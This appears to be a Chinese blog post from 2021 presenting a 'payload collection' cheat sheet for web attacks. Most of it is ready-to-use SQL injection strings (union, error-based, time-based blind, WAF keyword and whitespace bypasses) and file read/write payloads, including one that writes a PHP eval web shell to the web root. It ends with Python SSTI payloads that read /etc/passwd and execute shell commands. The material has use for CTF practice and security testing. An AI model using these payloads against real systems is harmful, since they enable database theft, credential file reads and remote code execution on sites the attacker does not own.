♥Payload大全

SQL注入

判断注入类型

//判断注入类型
?id=1'
?id=1"
?id=''
?id=""
?id=")
?id=')
?id=3-1 //判断数字型 

各种函数作用

#各大函数
%20 //空格编码
%23 //#编码
%26 //&
limit 1,1 //取结果第一个记录的后一条记录(即第二条记录)
limit 0,1 //取第一条记录

database() //获取数据库

substr([str],[start],[length]) //切割字符串中从number1到number2的字符
substring() //和上面一样

concat(str1,str2,...) //将str1,str2……结合成一个字符串
比如:concat(username,0x7e,password) //0x7e是波浪号~
group_concat() //将里面的内容合并成一串字符串

mid([column name],start,[length]) //针对某一列提取字符串

updatexml([document], [XPath], [value]) //document为文档名称,xpath为文档路径,value为替换查找到的符合条件的数据,这个函数的目的是为了修改符合条件的节点的值。
extractvalue()和updatexml相似

exists() 运算符用于判断查询子句是否有记录,如果有一条或多条记录存在返回 True,否则返回 False。

ascii() 将单个字符转换为ASCII码
hex() 将单个字符转换为16进制数

left(str,length) 从左截取字符串str,长度为length
right(str,length) 从右边截取字符串str,长度为length

benchmark(N,expression) 执行N次expression表达式 

数据库基本库

//mysql 5.0+
//information_schema 这个库拥有所有的数据库的数据库名,字段名,表名
eg: information_schema.tables //查询所有表名

常规方法

//常规(联合)注入
id='1' order by 3 --+ //%20是空格,%23是#
id='2' and 1=2 union select 1,2,datbase()--+ //查数据库
id='3' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ //查表
id='4' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+ //查字段
id='5' and 1=2 union select 1,2,[column name] from [table name] --+ //查值

基本报错注入

name='admin'+and+if(length(database())=[number],true,false)%23
name='admin'+and+substr(database(),$1$,1)='$f$'%23  //放入intruder爆破
name='admin'+AND+substr((SELECT+group_concat(table_name)+FROM+information_schema.tables+WHERE+table_schema=database()),$1$,1)='$a$'%23
name='admin'+AND+substr((SELECT+group_concat(column_name)+FROM+information_schema.columns+WHERE+table_schema=database()),$1$,1)='$a$'%23
named='admin'+AND+substr((SELECT+group_concat([column name])+FROM+[table name]),1,1)='a'%23

updatexml报错注入

//upatexml在执行的时候,第二个参数应该是合法的xpath路径,否则会报错将传参输出
//xpath路径写法:https://www.cnblogs.com/pythonywy/p/11082153.html
//把信息传入第二个参数即可:
name='admin'+or+updatexml(1,concat(0x7e,(select+flag+from+fl4g)),1)%23

时间盲注

//时间盲注
id='4'+and+if(length(database())=4,sleep(5),1)%23  //数据库字符数
id='4'+and+if(substr(database(),1,1)='a',sleep(5),1)%23 //数据库名称注入(放入intruder)
id='4'+and+if(substr(SELECT.....),1,1)='a',sleep(5),1)%23 //通式

//判断字符型盲注判断注入类型
id='1' and if(1=1,sleep(5),1)--+

floor报错注入

' union select [null,...],count(*),concat((SELECT ......),floor(rand()*2)) as a from information_schema.schemata group by a --++++

extracevalue()和updatexml()的报错注入

name='1'+and+extractvalue(1,concat(0x7e,(select+database())))--+ //两个参数
name='1'+and+updatexml(1,concat(0x7e,(select+database())),1)--+ //三个参数,东西放中间

宽字节注入

%df%27

SQLite 注入

1' union select name,sql from sqlite_master--+

绕过

过滤关键字

重复输入、穿插大小写、16进制编码、URL编码,甚至双重URL编码

select => seselectlect/SelEct/ selec\x74 /%73%65%6c%65%63%74
or => oorr/OR/ O\x72 /%6f%72
union => ununionion/UniOn/ unio\x6e /%75%6e%69%6f%6e

过滤空格

通过注释绕过: #、--、//、/**/、;%00
select/**/username/**/from/**/user;

通过URL编码绕过:
%20
%2520

通过空白字符绕过:
SQLite3 => 0A,0B,0C,09,20
MySQL5 => 09,0A,0B,0C,0D,A0,20
Progress SQL => 0A,0D,0C,09,20
Oracle 11g => 00,0A,0D,0C,09,20
MSSQL => 01~09,0A~0F,10~20,1A~1F

通过特殊符号绕过
单引号,反引号`,或者加号
有可能减号和感叹号也有这个效果

使用科学计数法绕过
select user,password from users where user_id=0elunion select 1,2;

SQL读写文件

假如语句: select username from user where uid=$id;
?id=-1 union select load_file('/etc/hosts')
十六进制
?id=-1 union select load_file(0x2f6574632f686f737473)

写文件
?id=-1 union select '<?php eval($_POST['aaa'])?>' into outfile '/var/www/html/shell.php';
或者16进制
?id=-1 union select unhex(3c3f706870206576616c28245f504f53545b27616161275d293f3e) into dumpfile '/var/www/html/shell.php'

outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

python :SSTI

} => %7D
{ => %7B

#查看所有模块内容
{{[].__class__.__base__.__subclasses__()}}
 
#查看全局函数
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

 
#遍历当前目录
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}
  
#读取文件
{{().__class__.__mro__[2].__subclasses__()[40]('flag').read()}}
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
 
# 如果过滤了class mro subclasses等关键词
{{url_for.__globals__}}

# 查看总体
{{config}}
 
#使用request求值
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('路径')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

posted @ 2021-09-05 17:04  Zeker62  阅读(162)  评论(0编辑  收藏  举报